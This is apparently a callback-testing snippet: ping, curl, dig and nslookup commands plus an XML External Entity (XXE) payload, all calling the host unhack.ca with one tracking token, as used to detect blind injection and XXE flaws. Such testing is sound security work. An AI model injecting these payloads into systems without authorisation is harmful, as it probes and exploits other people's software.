$ ping -c1 -p 004aa053112266867244c2dc61775600 unhack.ca
$ curl http://unhack.ca/p/4aa053112266867244c2dc617756
$ dig 4aa053112266867244c2dc617756 @unhack.ca
$ dig 4aa053112266867244c2dc617756.ns.unhack.ca
C:\> nslookup 4aa053112266867244c2dc617756 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/4aa053112266867244c2dc617756">]> <foo>&xxe;</foo>